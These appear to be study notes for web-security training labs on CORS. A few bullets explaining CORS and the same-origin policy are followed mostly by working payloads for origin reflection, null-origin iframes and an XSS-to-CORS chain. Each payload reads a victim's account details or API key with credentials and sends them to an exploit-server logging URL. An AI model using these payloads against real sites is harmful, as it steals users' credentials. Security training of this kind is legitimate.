CORS

• Definition: CORS (Cross-Origin Resource Sharing) is a browser mechanism that allows controlled access to resources from different domains.

• Purpose: It extends the same-origin policy (SOP) to enable more flexible interactions between websites.

• Vulnerabilities: Poorly configured CORS policies can lead to cross-domain attacks, such as data theft or unauthorized access.

• Limitations: CORS does not protect against all types of cross-origin attacks, including CSRF (Cross-Site Request Forgery).

• Same-Origin Policy: SOP restricts how a document or script can interact with resources from different origins to prevent malicious activities.

• Relaxation Mechanism: CORS allows a controlled relaxation of SOP using HTTP headers that specify trusted origins and access permissions.

Basic Origin refelction

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

Null origin allowed

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://TARGET.net/account_api/?EPOCHtime=1679134272000',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://EXPLOIT.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

Ajax steal api key

document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"

<script>
    document.location="http://stock.TARGET.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://TARGET.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://EXPLOIT.NET/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>